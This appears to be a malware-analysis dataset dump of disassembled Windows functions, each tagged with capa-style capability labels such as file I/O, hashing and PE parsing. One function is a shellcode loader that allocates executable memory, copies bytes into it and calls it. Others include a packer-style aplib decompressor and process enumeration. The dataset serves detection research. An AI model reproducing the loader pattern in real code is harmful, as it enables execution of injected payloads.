joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800cbe60
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, r8
mov rcx, qword [rcx]
mov rsi, rdx
cmp dword [rcx + 8], 2
jne 0x1800cbeaa
mov rax, qword [rbx + 0x18]
test rax, rax
jne 0x1800cbe9a
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, qword [rcx + 0x10]
mov edx, 1
mov rcx, rsi
call rax
jmp 0x1800cbef4
cmp qword [rbx + 0x10], 0
jne 0x1800cbedf
mov rcx, qword [rcx + 0x10]
lea rdx, [0x1800d8f54]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x1800cbedf
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, qword [rbx + 0x10]
mov r8, rdi
mov edx, 1
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rdi, rax
test rax, rax
jne 0x1800cbf18
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1800cbf0f
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov qword [rbx + 0x10], rdi
mov rax, qword [rbx]
mov rcx, qword [rax]
mov qword [rbx], rcx
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1800cde80
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
movsxd rbx, edx
mov rdi, rcx
mov edx, ebx
mov byte [rcx], 0
call qword [sym.imp.WS2_32.dll_gethostname]
mov byte [rbx + rdi - 1], 0
test eax, eax
jne 0x1800cdeba
lea edx, [rax + 0x2e]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strchr]
test rax, rax
je 0x1800cdeb8
mov byte [rax], 0
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800ceee0
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, r8
mov rsi, rdx
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rdx + rbx], 0
jne 0x1800cef00
lea rcx, [rbx + rbx]
call qword [section..data]
mov rdi, rax
test rax, rax
jne 0x1800cef23
lea eax, [rdi + 0x1b]
jmp 0x1800ceff2
xor ecx, ecx
test rbx, rbx
je 0x1800cef44
nop word [rax + rax]
movzx eax, byte [rcx + rsi]
mov byte [rdi + rcx*2], al
mov byte [rdi + rcx*2 + 1], 0
inc rcx
cmp rcx, rbx
jb 0x1800cef30
mov r9d, 1
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1800cefdf
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8002
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1800cefd2
mov rcx, qword [rsp + 0x30]
lea r8d, [rbx + rbx]
xor r9d, r9d
mov dword [rsp + 0x68], reloc.WS2_32.dll_recv
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x68]
mov r8, rbp
mov dword [rsp + 0x20], 0
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, rdi
mov dword [rbp + 0x10], eax
mov byte [rbp + 0x14], al
call qword [case.0x1800b4b8b.0]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1800d1640
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [section..data]
mov rdi, rax
test rax, rax
jne 0x1800d1682
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1800d16c5
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov ebp, dword [rbx + 0x20]
mov rcx, qword [rdi + 8]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1800d1722
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1800d16e0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1800d1763
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, str.6digit
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1800e17cb]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1800d1730
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x180805058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1808051df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180805089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18080506f
add dl, dl
jne 0x180805096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808050f6
xor eax, eax
add dl, dl
jne 0x1808050a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808051ad
add dl, dl
jne 0x1808050b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808050c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808050d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808050dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1808050ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18080507e
mov eax, 1
add dl, dl
jne 0x180805106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180805113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808050fb
sub eax, ebx
mov ebx, 1
jne 0x18080514c
mov ecx, 1
add dl, dl
jne 0x18080512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18080513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180805123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18080507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180805168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180805175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18080515d
cmp eax, 0x7d00
jae 0x18080519b
cmp eax, 0x500
jb 0x180805196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18080507e
cmp eax, 0x7f
ja 0x18080519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18080507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1808051d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18080507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140004708
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004752
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004752
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004752
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004752
cmp dword [rcx + 0x84], 0xe
jbe 0x140004752
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004754
xor al, al
add rsp, 0x28
ret
Function at 0x10040135b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1004013cb
lea rax, str.VirtualAlloc_failed.
mov rdx, rax
mov rax, qword [sym.imp.cygstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x100446c70]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x1004013ff
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov rbx, rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data___const
mov rdx, rax
mov rax, qword [rbp - 8]
mov r8, rbx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 8]
call rax
nop
add rsp, 0x38
pop rbx
pop rbp
ret
Function at 0x100403190
Capabilities:
Accept command line arguments

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x98
call sym.__main
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rbx, rax
lea r13, [0x100446c20]
mov rdx, r13
mov rcx, rax
call sym.strspn
add rbx, rax
cmp byte [rbx], 0x22
je 0x100403223
mov rdx, r13
mov rcx, rbx
call sym.strpbrk
test rax, rax
je 0x10040323f
lea rbx, [rax + 1]
cmp byte [rax + 1], 0
jne 0x100403254
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [rsp + 0x5c], 1
je 0x10040324c
movzx r9d, word [rsp + 0x60]
mov r8, rbx
xor edx, edx
mov rcx, r12
call sym.WinMain
add rsp, 0x98
pop rbx
pop rsi
pop r12
pop r13
ret
cmp byte [rax - 1], 0x5c
jne 0x1004031e0
mov rsi, rbx
lea rcx, [rbx + 1]
mov edx, 0x22
call sym.strchr
mov rbx, rax
test rax, rax
jne 0x10040321d
mov rbx, rsi
mov rcx, rbx
call sym.strlen
add rbx, rax
jmp 0x1004031ea
mov r9d, 1
jmp 0x100403202
mov rdx, r13
mov rcx, rbx
call sym.strspn
add rbx, rax
jmp 0x1004031ea
Function at 0x14000430c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14000433c
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x1400043b4
mov rax, qword [rcx + 0x40]
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x140004353
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140004355
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400043ae
test ecx, ecx
jle 0x14000438e
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400043ae
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400043ae
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x1400043d0
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1400043fe
xor eax, eax
jmp 0x1400044e7
cmp qword [rcx + 0x68], 0
je 0x140004410
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x1400044e7
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140004427
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004429
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000445b
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400044e1
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140004492
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400044bc
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400044e1
cmp rsi, rbx
ja 0x140004499
test rsi, rsi
je 0x1400044e1
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400048cc
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140139040]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x140004905
xor eax, eax
jmp 0x140004a25
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x14000493f
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x14000493f
lea ecx, [r8 - 1]
mov eax, esi
mov dword [rdx], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], sil
jmp 0x140004a25
cmp qword [rbx + 0x80], 0
je 0x140004a23
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000497a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000499b
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
jmp 0x140004a20
lea rax, [rbp - 0x38]
mov byte [rbp - 0x40], sil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea r9, [rbp - 0x3f]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400049e9
sub eax, 1
je 0x1400049e9
cmp eax, 2
jne 0x140004a23
movsx ecx, byte [rbp - 0x40]
jmp 0x140004987
mov r14, qword [rbp - 0x38]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x140004a14
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp r14, rax
jne 0x140004a23
lea rax, [rbp - 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x30], rax
cmovne edi, esi
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400ed2d0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400053b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140139040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000541f
cmp byte [rcx + 0x71], 0
je 0x14000541f
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140005474
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005439
sub eax, 1
je 0x14000543d
cmp eax, 2
jne 0x140005474
mov byte [rbx + 0x71], 0
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400ed2d0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14000546b
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140005474
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140005421
xor al, al
jmp 0x140005421
Function at 0x14000a288
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140139040]
xor rax, rsp
mov qword [rbp - 8], rax
xor r12d, r12d
mov r15, r8
mov qword [rdx], r12
mov rbx, rdx
mov qword [rdx + 8], r12
mov r14d, r12d
mov dword [rdx + 0x10], r12d
movsxd rsi, dword [r8 + 0x3c]
add rsi, r8
movzx eax, word [rsi + 0x14]
lea rdi, [rsi + 0x18]
add rdi, rax
cmp r12w, word [rsi + 6]
jae 0x14000a3bd
xorps xmm0, xmm0
mov qword [rbp - 0x18], r12
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x10], r12
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], r12b
jne 0x14000a2f6
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140005e0c
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x28]
mov rcx, qword [rbp - 0x28]
cmp rdx, 0xf
cmova rax, rcx
cmp qword [rbp - 0x18], 5
jne 0x14000a37a
cmp dword [rax], 0x7865742e
jne 0x14000a37a
cmp byte [rax + 4], 0x74
jne 0x14000a37a
mov r9d, dword [rdi + 0xc]
mov r8d, r12d
mov r11d, dword [rdi + 8]
add r9, r15
mov qword [rbp - 0x40], rdi
mov r10, r12
mov qword [rbp - 0x38], r9
test r11, r11
je 0x14000a365
movzx eax, byte [r9 + r10]
inc r10
crc32 r8d, eax
cmp r10, r11
jb 0x14000a352
movups xmm0, xmmword [rbp - 0x40]
mov dword [rbp - 0x30], r8d
movsd xmm1, qword [rbp - 0x30]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
cmp rdx, 0xf
jbe 0x14000a3a9
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a3a4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a3e5
call fcn.1400ed574
movzx eax, word [rsi + 6]
inc r14d
add rdi, 0x28
cmp r14d, eax
jl 0x14000a2e3
mov rax, rbx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400ed2d0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000bce4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r9, qword [rcx]
mov ebx, 0x270
mov ecx, dword [r9]
cmp ecx, ebx
jne 0x14000bd4f
lea r8, [r9 + 8]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, r10d
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub rbx, 1
jne 0x14000bd12
mov ecx, dword [r9]
jmp 0x14000be25
cmp ecx, 0x4e0
jb 0x14000be25
lea rbx, [r9 + 0x9c4]
mov esi, 0xe3
mov edi, dword [rbx]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov eax, edi
mov r8, rbx
mov edx, eax
add rbx, 4
mov edi, dword [rbx]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rsi, 1
jne 0x14000bd75
lea rbx, [r9 + 0xd50]
mov esi, 0x18c
mov edi, dword [rbx]
mov eax, edi
mov r8, rbx
mov edx, eax
add rbx, 4
mov edi, dword [rbx]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rsi, 1
jne 0x14000bdba
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret

Function at 0x14000cdfc
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x140139040]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x14000ce64
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x14000ce94
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14000ce44
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400ed2d0
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov dword [0x14020e5e8], eax
jmp 0x14000ce73